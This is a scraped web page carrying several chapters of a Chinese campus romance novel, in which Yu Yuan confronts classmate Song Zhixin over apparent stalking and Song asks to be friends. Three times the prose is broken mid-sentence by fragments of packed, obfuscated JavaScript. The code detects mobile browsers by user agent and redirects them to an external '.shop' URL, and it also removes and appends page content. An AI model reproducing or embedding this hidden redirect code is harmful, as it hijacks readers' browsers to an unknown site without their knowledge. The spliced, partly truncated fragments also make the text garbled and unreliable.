郁源咬了咬嘴唇,眼神扫过四周,食堂内人满为患,方才宋之信坐下的位置确实是附近唯一的空座了。 “……” 郁源深吸一口气:“我们以后错峰吃饭行吗?人挤人不热?你又说食堂难吃,下课铃响了还不是跟饿死鬼投胎一样。” “哦草,”蒋汀眼睛都瞪圆了,“他坐旁边也能怪我?!”嗓门有些大,宋之信闻声抬头。 “……” 两人连忙假装吃饭。 食堂里沸反盈天,宋之信张望一会儿,并没有找到声音的确凿来源,就又把头垂下了。 他吃东西的样子很专注,甚至算得上聚精会神,好像只沉浸在这一件事,咀嚼和吞咽都完成得刻板而认真。 郁源稍感安定,举起筷子正准备继续往餐盘里扒拉,这边宋之信喉头一滚,刚喝下碗里的汤,随后缓缓地抬眸,毫不遮掩地朝自己的方向投来一眼。 郁源:“……” 看过几秒,宋之信心满意足地收回视线,嘴里又塞一口,咀嚼,吞咽,而后好整以暇,再次望向郁源。 郁源:“……” 接下来几次周而复始,宋之信像一尊机器,执行固定程序,又偏偏不由分说浑然无觉,拉扯着郁源卷入其中,一同陷进诡异的循环。 过道狭窄,身后有同学举着餐盘叫喊借过,郁源挪了挪,冒着腰给其他人让位。 郁源移动,宋之信的目光随之移动,擦过人群间左推右搡、摩肩接踵的缝隙,总能精确地锁定在他脸上。 ——我这张脸很下饭?! 郁源愈发不爽,奈何宋之信如此肆无忌惮,大庭广众也没办法直接对峙,只能憋闷地装作一无所知。 胸口处突然生长微妙的念头,像有株小芽冒了尖,绵密且持续地戳弄着皮肉,疼和痒都很浅,但让人难以忽视。 愈发坐立难安的烦躁中,郁源把筷子一撂:“……蒋汀。” “干嘛。” “你说。”郁源顶着宋之信又一次的视线,压低声音,“他会不会……其实是故意的。” “啊?故意什么?”蒋汀在嚼一片菜叶,口齿不清,“故意碰见你?” “嗯。”被蒋汀这样清楚地说出来,郁源反倒不太自在,只含糊地应了句。 “啊?”蒋汀愣了下,才说,“这,这也不至于……?” “真的?”郁源抬起眉毛。小芽颤颤巍巍,又这么硬生生给摁下去。但他还是问:“为什么。” “虽然确实很巧,”蒋汀思考了会儿,给出理由,“但今天碰见他分别在跑操后和饭点,百分之八十的学生都往小卖部食堂跑吧,这两个时间段有什么参考意义。” “再说了,”蒋汀又道,“都这年头了,谁还玩这套啊?大概就是偶遇吧。” “……好吧。” 郁源哑然,姑且接受。 “当然,没有说你多心的意思,”蒋汀听出他语气里的勉强,忍不住揶揄,“不过,我倒是有一个疑问。” “你为什么会觉得他是故意的?”蒋汀难得敏锐,意味深长,“只是因为碰见了好几次?还是有别的原因。” “……才没有。” 郁源矢口否认,匆忙低下头。 静默数秒,突然把一块啃完的排骨摔在餐盘里,皱眉催促:“蒋汀你不能快点吃吗?我们早点回去睡觉行不行。” 蒋汀见状,得意地扬眉,捏腔拿调“哦”了一声。还没再回答,郁源已经蹭地起身,脸色阴沉,端着餐盘就走。 余光里宋之信正用纸巾擦拭嘴角,不知怎么就放慢了动作,最后竟然也端着餐盘站起来。 郁源不再侧目。 偶遇。郁源深呼吸,在心中默念。 只是偶遇。 于是接下来一周,郁源迎来和对方的屡次偶遇。 - 食堂内,郁源放在膝头的手攥紧成拳。 ——这是第几次了? 宋之信如影随形,就坐在他的前一桌,照例是面对自己的位置。 连日来让郁源烂熟于心的戏码继续上演,宋之信的神情堪称庄严,镜片后一双眼睛却毫不矜持,遥遥地望着他出神。 同校那么久没见过一面的人,不是故意,怎么可能三番五次碰见?郁源暗暗磨牙。 更遑论每次碰见后就一直看着自己,这要能是巧合,那他和宋之信倒真缘分天注定了! 如果说与宋之信的“偶遇”是往复的循环,那么不同场景就构成更大的闭合路径,他和宋之信俨然变成其中循规蹈矩、你追我赶的两粒锚点。 倘若无人打破定式并选择主动抽身,郁源想象不到这样的局面应当怎样结束。 决心已定,郁源扶住后颈,若无其事看向蒋汀:“今天下午是英语连堂,你知不知道。” “我知道啊。”蒋汀正吃饭,闻言露出匪夷所思的表情,“怎么了?” “也没什么,”郁源道,“就是我听课代表说,下午会突击检查上个月布置的那套阅读理解合集。” “……操。”蒋汀筷子都甩出去一根,“不是说短时间内不检查吗?老子一篇都还没写!”见郁源很是淡定,又问:“你写完了?” “写完了。” 郁源相当克制地点头:“就放在我桌上。你现在赶回去,抄一中午应该还来得及。” “靠。” 蒋汀二话不说,狼狈地扒完剩下的饭菜,抄起餐盘就要走。看郁源仍然坐着,狐疑道:“你干什么。不走吗。” “我走什么?”郁源莫名其妙,“我又不用抄,你先走吧,我再吃点。” 蒋汀隐约觉得郁源有些反常,但最终没再细想,瞥他一眼便匆匆离开了食堂。 蒋汀一走,郁源在餐盘里随意挑拣几口,已经是食不下咽,索性直接站起来。 他的动作突然,宋之信对此毫无预料,目光迷茫地追随了他一会儿,呆滞几秒,才迟钝地跟着端起餐盘。 二人几乎前后脚来到餐具回收区排队,中间只隔了两三位同学。 郁源耐着性子,靠近窗口时突然转身,朝后面的同学微微一笑,示意他们先放,自己则往旁边站了站。 即使郁源一顿操作大张旗鼓,宋之信并未察觉到异样。脚下一刻没停,沾在郁源脸上的目光纯良无害,仿佛他本人就是一类温顺乖巧的小动物。 宋之信来到他身后,两人靠得很近,郁源把餐盘往平台上重重一甩,碗碟相撞发出清脆而烦乱的响声。 他抬高音量,彻底发作:“你到底跟着我干什么?!” 宋之信瞪大眼睛,露出一副受到惊吓的表情,接连退后几步,才支支吾吾道: “你……你很好看,不能看吗?” 郁源:“……………………” 这话气势虽弱,却能冠冕堂皇自成逻辑,郁源愣在原地,只觉一阵急火攻心。 提前储备好的话术被强势清空,郁源下意识厉声质问: “有你这么看的吗?!” 宋之信的嘴唇颤抖几下,镜片后的睫毛也跟着颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471548|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。过了半晌,才压着嗓子,生涩地说:“对不起。” “……?” 我要的是你道歉? “对不起,”宋之信又紧张地道歉一遍,脸上写满愧疚,“我不知道这样,会让你不高兴。” 他垂下头,左支右绌地眨动双眼,显得羞惭、委屈而无措:“我其实只是想,看看你……和你说说话。” “……” 郁源已经不知作何回应,只有沉默。 宋之信竟然才认识到自己的举止代表错误,且看起来依然没有搞懂为何错误——无意之过比明知故犯还让他感到疲惫。 他抬手揉了揉额角,长长地呼出一口气,对宋之信拿出仅剩的耐心:“行。那你现在告诉我,你想和我说什么?” “我……”宋之信顿了顿,脸开始肉眼可见地变红,“我……” 他久久语塞,突然伸手,指了指郁源的胸口:“你……” “我?” 郁源屏息凝神,一颗心被他指的高高悬吊,摇摇欲坠地等待下文。 然后他听见宋之信说: “你的衣服上……有油。” “……” 郁源低头一看,险些发出尖锐爆鸣。 白净的校服衣料上分布了数颗鲜明的橙色渍点,这不算完。黏腻而辛辣的油烟味丝丝缕缕,蛮横无理地钻进他的鼻腔。 郁源抬头,狠狠瞪了宋之信一眼,随即以最快的速度仓皇逃离现场。 - 跑去小卖部买了块肥皂,再冲洗十余分钟,校服上的油渍在社交距离下终于不太明显。 被濡湿的衣料水淋淋地贴着皮肤,胸腹处一片冰凉。郁源拎起衣摆,凑近鼻子仔细再嗅,不知是否心理原因,总还觉得那股呛人的味道似有若无,又嫌弃地把衣摆放下了。 教室里开了空调,郁源没带外套,于是直接抢了蒋汀的披好,走出教室,靠着走廊的栏杆晒太阳。 没过多久,身旁落下一道阴影,蒋汀双手抱胸挨过来,嘴里骂骂咧咧:“我就说睡一半怎么突然觉得冷,都给老子冻醒了。郁源你大爷!” 郁源没有搭理他,半阖着眼,眉宇间心事重重。 “啧。”蒋汀说,“怎么作出这个样子。我们楼上那个每天都尾随你的变态说什么惹你生气了?” “……” 郁源猛地睁眼,蹙起眉,神情复杂地与他对视。 “我又不是真蠢,一回班上课代表就和我说压根没有什么突击检查。”蒋汀耸肩,“被你调虎离山耍了一遭,还猜不到你葫芦里买什么药?” “……”郁源的喉管里挤满千言万语,憋了半天才磕磕巴巴吐出一句:“那,那你当时还说他不是故意的!” 语气里全是避重就轻的指责,蒋汀连忙反驳:“喂,当时也就一天啊!他后面简直跟围着你打转一样,演都不演了,傻子才发现不了!” 郁源感到被蒙骗,和他吵架:“所以你都发现他是故意的了!为什么不告诉我?” “——我不告诉你?难道你就真的很希望我说出来?” “。” 蒋汀一语中的,郁源瞬间消声,别过半张脸,面色明明暗暗,同时酝酿阴晴云雨。 “好了好了。你要实在不爽,就怪我有错,是我当初下的结论太绝对,影响了你的判断,行了吧?” 一番针锋相对,蒋汀终于想起需要顾及多年狐朋狗友的情谊,态度放软,给郁源搬来台阶。 郁源闻言,表情才刚缓和一些,蒋汀就又好奇地凑上来,直击要点: “所以……他究竟和你说什么了?” 5. 顿悟 ——你很好看,不能看吗? 脑海中无端浮现出宋之信的脸,布满与锋利的五官截然相反的惶恐与纯真。 眼神湿漉漉的,像挥之不去的雾气,须臾就要降落成雨。 “……” 郁源回过神,数不清第几次试图将宋之信从脑海中清空。 然而未果,雨还是落下来,淅淅沥沥间,宋之信忐忑地开口,对不起,我没想到这样,会让你不高兴。 “郁源,你丫没骗我吧?” 身边蒋汀已不依不饶地缠上来:“他真的只是和你说了‘对不起’?就这一句?” “……嗯。” 郁源惜字如金。 ——其他的能让你知道? “天哪。”追问好几天,仍然只得到这个回答,蒋汀似乎很失望,但依旧不死心,“他道歉的时候是什么语气?像装的吗?还是态度很好?” “人机说话还能是什么语气。” “真就没说别的了?” “没了。”郁源啧一声,“我真搞不懂你。这有什么好八卦的,你非要刨根问底。” “哇靠,”蒋汀抓了抓头发,嘀咕道,“他们这群学霸到底是什么脑回路啊,搭讪都不会?这人看起来没救了。” 蒋汀喋喋不休,郁源被吵得不耐烦,刚准备开骂,刚抬起眼睛,看见宋之信正好站在楼梯口。 两人视线相抵,眼中皆有错愕惊异,但竟是宋之信躲躲闪闪,率先把脸移向别处。 上次在食堂的那番对话某种程度确实卓有成效,一连几天,宋之信真的不再制造偶遇,并借机偷看他了。 以至狭路相逢,郁源并不能判断究竟是否为对方的故态复萌,于是站在台阶上没动,微妙地等待宋之信接下来的反应。 宋之信看起来比前几天和郁源对峙时还要紧张和拘谨,似乎连手脚都不知该如何摆放,别开的脸像焊在那个角度,不被容许有任何偏离。 直到宋之信同手同脚消失在走廊的另一端,他也再没试图见缝插针对郁源倾注任何目光。 “诶呦喂。”郁源还没说话,蒋汀先开了口,“虽然是好事,但几天不见,他怎么看都没看你一眼?” “……”郁源又一次没去接腔,装作无暇他顾,需要很努力才能拧开手中碳酸饮料的瓶盖。 两人走完最后几节台阶,来到走廊。瓶盖成功拧开,发出嘶嘶的一声轻响,细小的气泡争先恐后地往瓶口攀升。 郁源仰头,喝过一口,唇齿间跳动着酸甜的刺痛,一路挠刮到喉咙。 “我能问吗?”蒋汀碰了碰他的手臂,“怎么回事啊郁源?他现在看起来好像很怕你。” 郁源翻个白眼:“我怎么知道?”末了又冷淡地添一句,“他怕不怕我,和我有什么关系。” 尽管不愿承认,但宋之信不再偷看自己,郁源并未感到如释重负,反倒忽觉兴味索然。 一只泉眼被凿开,就需要源源不断地涌出水流,倘若某天无端干涸在那里,难免空虚与迷茫。 “你那时和他说什么了,这么有威慑力?”蒋汀还在唏嘘,“这下好了,郁源。” 他用余光扫了扫郁源,对方的脸色不太好了,但尚且能粉饰太平。蒋汀眉梢一点狡黠,语气徐徐:“我看他不仅是怕你,八成已经在讨厌你喽。” “?” 话音刚落,郁源就像一只被踩尾巴的猫,炸了满身的毛:“你说什么?!” 宋之信讨厌我?我? 宋之信讨厌谁?谁讨厌我? 他说我好看,他对我道歉,他还想和我说话!他怎么就讨厌我了??? “他为什么讨厌我,凭什么讨厌我?” 郁源气急败坏,满腔怒火就像手中塑料瓶里哔哔剥剥的气泡,积蓄许久,却不得不在到顶溢出之前悉数破掉: “你懂什么?有本事说清楚!” 蒋汀:“……?” 然而郁源根本没给他说清楚的机会:“你知不知道,他明明应该喜欢我还来不及!” 蒋汀大概没想到郁源的反应会这么激烈,堪比自己玩游戏随手一个平A换来大招,顿时瞠目结舌。 郁源说完最后一句,自己先愣了。 “……” 他和蒋汀面面相觑一会儿,缓缓地抬手,几根指节蜷曲,掩住了双唇。 ——我操。 郁源思绪震荡,把那两个字在心里又翻来覆去碾过几遍。喜欢……喜欢。 从一开始自己就应该意识到,宋之信很可能就是……喜欢他! 他在路上对自己一见钟情,刚好又在相撞后捡到自己的校园卡,发现他们竟然是同学。分明返还传单的时候可以把校园卡一并放在店里,可他非要见到本人。 虽然宋之信看起来木讷迟钝,似乎并未清晰地察觉,但行动已经足以证明: 他夸自己漂亮,想方设法地在学校里偶遇自己,制造偷看的机会,还计划着要和自己搭话! ——因为宋之信喜欢我,至少喜欢我的这张脸,甚至喜欢到情难自控。 只有这样,一切才说得通。 “郁源你回味完了吗?” 当初只是调侃意味的口嗨,谁知道跳了预言家。蒋汀端详起好友的神情,终于忍不住:“原来人家真的对你一见钟情。呃,你就对这个结果……这么满意?” “什么啊,有人喜欢自己,这难道不好吗。”郁源振振有词,“管他喜欢我的脸还是性格,不都侧面印证了我的个人魅力?” “话虽如此,从小到大你缺人喜欢吗?”蒋汀看郁源的眼神逐渐陌生,像看一个无可救药的傻瓜,“之前的就算了,是不是以后每知道一个人喜欢你,你都要这么回味。” 郁源却摇头:“这次不一样。” 蒋汀:“……” 哪里不一样?! 当然不一样。 郁源鄙夷地看了蒋汀一眼,你怎么可能会懂? 喜欢他的人那么多,宋之信竟然是唯一在相貌上完全踩中自己审美取向的。只要这张脸摆在面前,就是再不胜其烦,他也无法做到赶尽杀绝。 “哦,对了。” 郁源想起什么,立即声明:“蒋汀,你以后能不能不要再说他是变态了。” 蒋汀:“?” 郁源皱眉:“非要这么刻薄吗?他只是喜欢我,想见到喜欢的人不正常吗,也没有什么坏心思吧。” “……”蒋汀无语了。 - 不知郁源突然着了什么道,宋之信各方面条件平平无奇,竟能得到郁源如此宽宥。 蒋汀百思不得其解,怎么,那天撞一起,把脑子都给撞坏了? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471549|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当晚放学就紧急致电祝雨澄,发誓三人周末再聚,自己要和她联合对郁源的脑子进行全方位检查。 郁源结束又一周的专业培训,走出艺考机构,揉一揉昏胀的太阳穴。 进入高二,郁源和无数在文化成绩上捉襟见肘的高中生一样,心知肚明已不能纯靠学业博得出路,只能转换赛道,义无反顾闯进另一扇窄门。 但他的情况又有些尴尬。美术舞蹈播音这种传统路数,最看天赋和积淀,而郁源都不具备,只在童年辗转各类兴趣班时粗浅地触及皮毛。 父母参考相关人士的建议,最终让他选择编导——门槛低,易速成,不吃硬件,符合对“捷径”的定位。 今日的阳光刺眼,郁源把鸭舌帽扣上脑袋,犹豫一会儿,又不情不愿从包里拿出一沓传单。 上次与郁清之间闹过一遭,为息事宁人,阻止郁清状告天庭,姐弟俩达成协定:“郁源,钱你不用还了,爸妈那边我也暂时不说。但不想东窗事发,剩下的传单得给我无偿发完,没异议吧?” 郁源叹气,稍微抬高帽檐,露出一对弯起的眉眼,已然挂上亲和笑意。优越外貌带给他无与伦比的社交优势,郁源总是游刃有余。 传单发出去半叠,婉拒几个添加联系方式的请求,郁源步行回岸芷。 岸芷所处的地段繁华,开业半年能获得如此可观的营收,和位置也有相当关系:一街之隔写字楼林立,正对面即是大型购物中心。 郁清从小成绩优异,是毋庸置疑的天之骄子,目前就读于国内顶尖院校的MBA。哪怕尚未脱离象牙塔,岸芷作为她的试水之作,已经展现出相当敏锐毒辣的商业眼光。 这让郁源偶尔沉思,父母都在高校任教,论职业,算得上世俗意义的社会精英。聪明头脑好像只被姐姐全盘继承,自己空有一副精致皮囊,亏也不亏。 行经一面巨大的玻璃墙,因最近的返潮变得模糊。郁源侧目,店员正巧拿筒刷滚过一片,小块区域光洁如镜,映出自己的脸。 和位于侧后方的……宋之信??? “?!” 再定睛一看,确凿地意识到来人是谁,郁源心脏疯跳,脚下险些送出一个趔趄。 什么意思?!这都跟踪到校外来了? 这回郁源是真的非常生气。 学校里小打小闹也就算了,放假到校外还继续尾随又算什么?怪不得这段时间在校内偃旗息鼓,原来是打算给他整个大的! 郁源牙关发颤。 没想到宋之信对他已经狂热到了这般走火入魔的地步,原来蒋汀没有说错,自己还是低估了人性的阴暗扭曲,这完全超出了正常的限度! 郁源不能接受,更不能忍受。 他猛地转身,气势汹汹走向宋之信。 宋之信似乎想要和他打招呼,手缓缓举起来,迎上郁源风雨欲来的脸色,愣了愣,又把手缓缓放下去。 “我说你是不是过头了?” 郁源火冒三丈,一把揪住他的衣领,声色并厉:“没完没了了是吧?为什么在校外你还要跟踪我?!” 两人齐齐踉跄,幸好宋之信身后一柄电线杆顶天立地,避免了又一次摔倒的发生。 “……啊?” 宋之信被他摁在电线杆上,眼中满是迷茫:“什么跟踪?我要在这个楼里面上课的。” 6. 通牒 “……你还想骗我?!” 郁源愣了一下,随即更加怒不可遏,手上力道又加重了些。 “我……” 宋之信被他推得再退了半步,几乎整个后背都严丝合缝地钉在这根冷硬粗粝的水泥柱上。他仰起脖颈,喉结滚动数下,才缓慢地开口:“我没有骗你……” 郁源根本没想给他狡辩的机会,正准备打断他,不远处忽地传来尖锐的鸣笛,街口有车辆拐弯驶来,轮胎碾过地面的水洼,沿路溅起浅浅的一片泥泞。 “……” 郁源连忙闪身,迈腿往里躲了躲。 然而一抬头,对面大楼上红底横幅迎风招展,加粗的大字明目张胆地跳进他的眼里:楚材教育,培优强化的不二之选! “……”郁源浑身一僵。 这会儿理智稍微回笼,连带记忆也被唤醒——这不就是祝雨澄也在的那家与附中合作,专给竞赛班和实验班学生节假日补课的机构吗?! 郁源呼吸一停,骤然看向宋之信。 宋之信不明所以,突然与郁源对视,只无措地眨动双眼。 他那副黑框眼镜不知什么时候歪斜,两面镜片你高我低,一块越过鼻梁横亘眼下,一块与眉毛齐飞。 可能是生怕再制造任何惹恼郁源的风吹草动,宋之信刻意地放缓了动作,呼吸也压抑许多,只战战兢兢地屈指,轻轻抬起一边。 郁源:“………………………” 郁源的脸上五光十色风云变幻,短短几秒内泛红又发白。唯有温度居高不下,双颊的灼热异常强烈,烫得他神志恍惚,昏昏沉沉像经历一场低烧。 四肢也仿佛被抽走力气,郁源松手,放开了宋之信。 空气在他们之间恍若凝滞,路边绿灯亮起,身侧车流嗡鸣着滚过,时间终于恢复流动。 宋之信讷讷站在原地,看起来对事发到结束的全过程依然一头雾水。片刻,才小心翼翼伸手,扶正镜框。 他的领口留下蜿蜒的抓痕与褶皱,耳后的头发也被压乱,没精打采地翘出几绺,显得愈发的狼狈和无辜。 一把箭气势汹汹地离弦,不仅没射在预定的靶面,还正中自己胸口,郁源咬住下唇,窘迫地移开视线,恨不能当即从宋之信面前消失。 他怏怏别过脸,相当生硬地转移了话题:“你上次不是说想和我说话?我现在就在你面前,有嘴不用吗。” “啊。”宋之信一愣,随即支支吾吾,“可是我,我还没做好准备……” ——拖拖拉拉磨磨蹭蹭! “什么?”郁源横去一眼,虚张声势地抬高音量,“没做好准备?” 宋之信被他吼的缩了缩肩膀,眼皮耷拉下来,不敢再直视他。 “好,那我给你时间准备。”郁源伸手,一指前方不远处的岸芷,“看见那家甜品店了吗?你之前送传单来过的。” 宋之信迟缓地反应过来,忙不迭点头。 “我下午都在店里。” 郁源语气平淡地说完,忽然话锋一转,朝他劈头盖脸道:“你要是今天下午不过来找我说出口,以后就永远也别想跟我说一句话了,知不知道!” 宋之信一脸惊恐地看着他。 郁源下完最后通牒,转身就走。 - 郁源站在岸芷门口,掏出手机对着屏幕仔细端详快半分钟,确保表情调整至滴水不漏,方才推门走入。 蒋汀正打游戏,瘫椅子上东倒西歪没个形状。相比之下祝雨澄就无愧为好学生,甜品店当自习室,坐在蒋汀对面,戴着耳机埋头,不用猜都知道在刷题。 郁源拉开蒋汀旁边的另一把椅子,两人方才注意到他,不约而同抬起头。 还没来得及说什么话,郁源先摘了鸭舌帽放在桌面,望向祝雨澄:“你今天不用在对面那个…什么机构补习?” “你说楚材?”祝雨澄把那套题朝着郁源推了推,“什么呀,我刚下课过来的。咯,还领了作业。” 她摘下耳机,叹一口气:“不止我们实验班的要补。那群搞竞赛的,双休不能在学校里明目张胆去搞,年级就租了楚材的教室,其实还是用附中自己的竞赛教练来上课呢。” “……”郁源彻底了然,羞愤地咬了咬下唇。 “郁源,你问这个干什么?”祝雨澄道,“你想去楚材补课?” 郁源可能是没有听见,所以没有回答,全神贯注地翻看起岸芷的菜单。 “澄姐,我不是跟你说了吗?” 蒋汀结束了这把游戏,插话:“他最近发现你们这几个班里有男的喜欢他,估计想旁敲侧击打探点情况呢。” 啪嗒一声,菜单被郁源黑着脸合上,随即利落地扔在桌面。 蒋汀有恃无恐,继续说:“郁源,那到底是谁喜欢你?能不能现在告诉澄姐,让她惊讶一下。” 郁源冷冷道:“你不应该早就说了吗,还要我说?” “蒋汀可什么都没跟我说,”祝雨澄笑了笑,“他要我听你自己讲。” 郁源闻言,神色稍稍缓和。 如果蒋汀真的对祝雨澄提及宋之信,他肯定不会高兴。但现在要自己亲口透露和宋之信间的情况,也还是没乐意到哪去:“干什么,你也想审我?” “怎么能算审呢,”祝雨澄循循善诱,“我是觉得,万一你最终真的要和人家谈恋爱,这不是在刚开始就给你把关吗?让你注意点,如果不合适……” “等等,”郁源敏锐地打断她,“别本末倒置。谁说我要谈恋爱了?是人家喜欢我,又不是我喜欢他。” “啧,郁源你少拐弯抹角!”蒋汀受不了他这样推三阻四,翻着白眼打开相册:“你不想说,那我来说,行了吧?” 他找出一张照片,拍的正是教学楼下那面荣誉墙。祝雨澄凑近照片,听蒋汀念念有词:“澄姐,看见没?就是排你正上面这个,戴黑框眼镜的,认识吗。” “……”祝雨澄的眼睛睁大了:“宋之信?” “哇靠?”蒋汀收起手机,同样诧异,“你真认识啊。我以为不过是成绩好了一点吧,怎么好像还挺出名。” “他搞竞赛的,不是我们实验班的。”祝雨澄说,“但在我们几个班,应该确实没几个人不认识宋之信。太出名了。” “出名?”难以判断是否为正话反说,郁源警惕地看着她。犹豫半晌,状似平淡地问出口:“指的哪方面。” “……”祝雨澄的视线落在郁源脸上,认认真真盯了他几秒,才缓缓道:“我初中同学现在和他一个班,跟我说过宋之信。” 祝雨澄思忖了会儿,下了结论:“他这个人吧,算是个怪胎。” “我就说!”蒋汀拍了拍大腿,露出果不其然的表情,“都怪胎了,还能是什么好人。” 怪胎这个词用得微妙,以至蒋汀如此斩钉截铁,郁源都没去呛他,只兀自捏紧菜单一角,陷入思绪不宁的沉默。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471550|201508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最开始祝雨澄其实说得很中肯,自己根本不了解宋之信的为人。对方到底纯良无害还是居心叵测,单凭几次接触完全不能判断。 “倒也不是说他人品有问题。”祝雨澄一瞥郁源的脸色,连忙解释,“其实他们班的同学都不讨厌他,只是……” 她顿了顿,继续说:“只是说性格实在太内向,独来独往的,比较孤僻?” “成天到晚在座位上不是做题就是睡觉,很安静。有时候同学和他搭话,结果连同学的名字跟脸都对不上,认不出人家是谁。” “这么傲慢,还算没人品问题?”蒋汀忍不住吐槽,“都和别人做了那么久同学还不认识,这不是目中无人是什么?” “哎呀,社恐不都这样嘛!”祝雨澄说,“别冤枉他了。人家其实一点架子都没有。” 她想到什么,忍俊不禁:“我同学说,宋之信最喜欢上音乐课了。每次老师教新曲子他都唱得很大声,结果还跑调。全班都在笑,他也不生气。” 想象到宋之信面无表情地唱跑调的歌,郁源差点也要跟着笑出声,刚咧开嘴,如梦初醒般清明过来,上扬一点的弧度顷刻回落。 幸而蒋汀和祝雨澄应该都未发现,郁源欲盖弥彰地轻咳两声,给自己倒一杯水,因得知宋之信五音不全而心情大好,敛成直线的唇角变得柔软。 稍不留神杯中就盛满,水流沿着杯壁淌下,在桌面汇成小小一滩。 郁源不觉烦躁,神色如常地拿纸巾擦拭,听祝雨澄继续说:“不过,宋之信搞竞赛是真厉害,当之无愧的天才。保送清北估计没什么悬念。” 她的语气有些羡慕,也有些无奈:“唉,这种人,也是拿他没办法。” “呵呵,会搞竞赛有什么用?”蒋汀当即反驳,“我就不喜欢这样的学霸,高分低能!” 祝雨澄权当没听见,冲着郁源道:“反正,可能天才和我们不仅在智商上存在差异吧。人家有自己的小世界,外面的人也进不来。” “圆圆,所以你说他喜欢你……”祝雨澄抿唇,饶有兴味地笑起来,“我倒是觉得很稀奇。” “不是说郁源你误判了,我愿意相信宋之信是喜欢你的,”祝雨澄说,“只不过,我好像想象不到这种天才也会有……七情六欲?” 郁源表面不动声色,一颗心脏却控制不住地怦然直跳。特立独行,沉默寡言,记不住朝夕相处的同学的脸——可是这样的宋之信……竟然喜欢他。 “这有什么稀奇的,”郁源握紧玻璃杯,漫不经心瞥她一眼,语气听起来不以为意,“他们天才也得先是人,才作为天才吧。” 店门前风铃响起来,有新的顾客光顾,祝雨澄顺势往前方看了眼,神色在脸上定格一瞬,很快把视线收回,玩味地看向郁源:“所以郁源,因为我想象不到,你能不能告诉我。” “你到底……是根据什么判断出来他喜欢你的?” 郁源开口,又莫名地犹豫,倒让蒋汀抢占先机:“还要郁源来告诉你?这题我也会,当然是前段时间他在学校里整天被宋之信……” 话说到一半,眼见祝雨澄的表情变得越来越惊悚。蒋汀停下,疑惑地看着她:“祝雨澄你干嘛啊?这什么表情。” 祝雨澄抿紧唇不说话,面部僵硬,眼神闪烁,瞳孔上演巨震。 她如此反常,让郁源微拧了眉毛,无端突生预感,猛然扭过头。 ——与站在身后的宋之信四目相对。 7. 认识 宋之信此时站在这里,效果不亚于任何一部恐怖片。 郁源像只被揪住后颈的猫,险些从椅子上弹跳起来,手肘碰倒了放置刀叉的收纳罐,金属碰撞激起叮铃啷当的碎响。 ——天哪! 祝雨澄尴尬得如坐针毡,仿佛来人是什么需要避之不及的洪水猛兽,含混地丢了句“我上洗手间”便匆忙离席。 蒋汀同样尴尬,从没有那么深刻地体会到何为祸从口出,双手捂住脸,伏在桌上装聋作哑。 郁源的内心巨浪滔天,比他俩还想躲藏。而宋之信站在这里,自己算是始作俑者,合该承担相应责任。郁源黑着脸站起,转身面向宋之信。 郁源和他对视,放在背后的双手抠紧桌沿。宋之信的双手垂落身侧,肩膀塌陷下来,站姿很是局促,但神情恳切而认真:“郁源同学,你好。” 他抬手架一下鼻梁上的眼镜,语速温吞:“我是竞赛一班的宋之信。我有话……想对你说。” 郁源抬起下巴,朝宋之信颔首:“行吧,你想说什么。” “哦。我想请问……” 宋之信得到许可,眼中闪过一些羞赧,不自觉地磕巴起来,“请问,我……”他的脸又开始变红,卡壳也一本正经:“请问我能和你,认识一下吗。” “嗤——” 旁边的蒋汀忍不住了,肩膀轻微耸动,下一秒就被郁源重重地踩了脚背,当即龇牙咧嘴地别过身。 郁源放缓呼吸,不可置信地把那两个字重复一遍:“认……识?” 他闭上眼睛,宋之信所做的种种又在脑海飞快地闪过一遍:近半个月的尾随、偷看,逼问几次都没做好准备……搞出那么声势浩大的阵仗,结果只是想说出这句? 郁源再次无言以对,感觉像偶遇游戏里的抽象玩家,为了刷怪升级无所不用其极,却说自己的志向实则完成初始任务制霸新手村。 “嗯。”宋之信镜片后的眼睛亮了亮,点头。忽而又想到什么,郑重其事地补充,“还……还想和你……做朋友。” “……”郁源的眼神不解且迷离,呢喃着又重复一遍:“做朋友。” “嗯。”宋之信再次点头,一双眼睛直勾勾地盯着郁源,明晃晃得呼之欲出的渴望,但请求的语气却平铺直叙:“……可以吗。” “……”郁源被他盯得后脊一阵发麻,疑似传染了对方的结巴,板着脸回答:“当然可、可以啊。” “谢谢你,郁源同学。”得到肯定的答复,宋之信的脸上出现了大概是高兴的表情,眉毛舒展地抬起来。 他低头,从口袋里掏出张便签,很细致地捋平了翘边,再递到郁源面前:“这是……我的电话号码,请惠存。” 郁源垂眼,看着便签上的数字,没有说话。脑海中浮现的第一个念头竟然是:这次用的便签,和上次贴在装传单的塑料袋上那枚是同款。 宋之信看他没有反应,凑近他一些,用另一只手指了指便签,很是贴心地轻声提醒:“用我的电话号码,就可以加……我的微信。” “?” 郁源猛然抬头,不满地眯起眼睛:“为什么是我来加?” 